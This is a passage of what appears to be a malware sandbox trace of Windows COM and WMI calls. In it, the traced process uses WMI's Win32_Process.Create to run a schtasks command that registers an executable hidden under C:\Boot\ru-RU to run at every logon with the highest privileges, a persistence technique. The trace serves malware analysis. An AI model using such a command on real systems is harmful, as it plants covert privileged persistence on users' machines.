ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0131.681] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0131.681] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0131.681] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.683] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbd8540) returned 0x0 [0131.683] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8540, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0131.683] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8540, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbf8e0) returned 0x0 [0131.683] WbemDefPath:IUnknown:Release (This=0x1bbd8540) returned 0x0 [0131.683] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbf8e0) returned 0x0 [0131.683] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0131.683] WbemDefPath:IUnknown:AddRef (This=0x1bbbf8e0) returned 0x3 [0131.683] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0131.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0131.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbd8580) returned 0x0 [0131.684] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8580, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.684] WbemDefPath:IUnknown:Release (This=0x1bbd8580) returned 0x3 [0131.684] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0131.684] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0131.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0131.684] WbemDefPath:IUnknown:Release (This=0x1bbbf8e0) returned 0x2 [0131.684] WbemDefPath:IUnknown:Release (This=0x1bbbf8e0) returned 0x1 [0131.684] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0131.684] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0131.684] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbf8e0) returned 0x0 [0131.684] WbemDefPath:IUnknown:AddRef (This=0x1bbbf8e0) returned 0x3 [0131.684] WbemDefPath:IUnknown:Release (This=0x1bbbf8e0) returned 0x2 [0131.684] WbemDefPath:IWbemPath:SetText (This=0x1bbbf8e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0131.684] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf820, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0131.684] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf8e0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0131.684] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf8e0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0131.684] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf8e0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0131.684] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbbf820) returned 0x0 [0131.684] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf8e0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0131.684] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf8e0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf8e0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0131.685] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbf820, uIndex=0x0, pszName="root") returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf8e0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf8e0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0131.685] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbf820, uIndex=0x1, pszName="cimv2") returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbf8e0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbf8e0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbf820, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbf820, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf820, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf460, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf460, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf820, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf820, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf820, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf820, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0131.685] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf820, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0131.686] IWbemServices:GetObject (in: This=0x1bbd9050, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bbd39a0, ppCallResult=0x0) returned 0x0 [0131.712] IWbemClassObject:GetMethod (in: This=0x1bbd39a0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bbd3d10, ppOutSignature=0x1bb7e690*=0x1bbd4080) returned 0x0 [0131.713] IWbemClassObject:SpawnInstance (in: This=0x1bbd3d10, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bbe7e20) returned 0x0 [0131.713] IWbemClassObject:Get (in: This=0x1bbe7e20, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ebea8*=0, plFlavor=0x27ebeac*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ebea8*=8, plFlavor=0x27ebeac*=32) returned 0x0 [0131.713] IWbemClassObject:Get (in: This=0x1bbe7e20, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ebea8*=8, plFlavor=0x27ebeac*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ebea8*=8, plFlavor=0x27ebeac*=32) returned 0x0 [0131.714] IWbemClassObject:Put (This=0x1bbe7e20, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"but inside save\" /sc ONLOGON /tr \"'C:\\Boot\\ru-RU\\but inside save.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0131.714] IWbemClassObject:Get (in: This=0x1bbe7e20, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ebf38*=0, plFlavor=0x27ebf3c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ebf38*=13, plFlavor=0x27ebf3c*=32) returned 0x0 [0131.714] IWbemClassObject:Get (in: This=0x1bbe7e20, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ebf38*=13, plFlavor=0x27ebf3c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ebf38*=13, plFlavor=0x27ebf3c*=32) returned 0x0 [0131.714] IUnknown:QueryInterface (in: This=0x1bbd32c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bbd32c0) returned 0x0 [0131.714] IUnknown:QueryInterface (in: This=0x1bbd32c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0131.714] IUnknown:QueryInterface (in: This=0x1bbd32c0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0131.714] IUnknown:AddRef (This=0x1bbd32c0) returned 0x3 [0131.714] IUnknown:QueryInterface (in: This=0x1bbd32c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0131.714] IUnknown:QueryInterface (in: This=0x1bbd32c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0131.715] IUnknown:QueryInterface (in: This=0x1bbd32c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bbd32c8) returned 0x0 [0131.715] IMarshal:GetUnmarshalClass (in: This=0x1bbd32c8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0131.715] IUnknown:Release (This=0x1bbd32c8) returned 0x3 [0131.715] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0131.715] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0131.715] IUnknown:QueryInterface (in: This=0x1bbd32c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0131.715] IUnknown:Release (This=0x1bbd32c0) returned 0x2 [0131.715] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0131.715] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0131.715] IUnknown:QueryInterface (in: This=0x1bbd32c0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0131.715] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0131.715] IUnknown:QueryInterface (in: This=0x1bbd32c0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0131.715] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0131.715] IUnknown:AddRef (This=0x1bbd32c0) returned 0x3 [0131.715] IWbemClassObject:Put (This=0x1bbe7e20, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bbd32c0, varVal2=0x0), Type=0) returned 0x0 [0131.715] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf520, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0131.716] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf520, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0131.716] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf520, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0131.716] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf460, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0131.716] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0131.716] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.716] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf520, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0131.716] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf520, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0131.716] IWbemServices:ExecMethod (in: This=0x1bbd9050, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bbe7e20, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bbe9920, ppCallResult=0x0) returned 0x0 [0131.986] IWbemClassObject:Get (in: This=0x1bbe9920, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ec268*=0, plFlavor=0x27ec26c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xefc, varVal2=0x0), pType=0x27ec268*=19, plFlavor=0x27ec26c*=0) returned 0x0 [0131.986] IWbemClassObject:Get (in: This=0x1bbe9920, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27ec268*=19, plFlavor=0x27ec26c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xefc, varVal2=0x0), pType=0x27ec268*=19, plFlavor=0x27ec26c*=0) returned 0x0 [0131.987] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0131.987] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0131.987] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0131.987] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.989] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbd8780) returned 0x0 [0131.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8780, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0131.989] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8780, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbbf9a0) returned 0x0 [0131.989] WbemDefPath:IUnknown:Release (This=0x1bbd8780) returned 0x0 [0131.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbbf9a0) returned 0x0 [0131.989] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0131.990] WbemDefPath:IUnknown:AddRef (This=0x1bbbf9a0) returned 0x3 [0131.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0131.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0131.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbd87c0) returned 0x0 [0131.990] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd87c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.990] 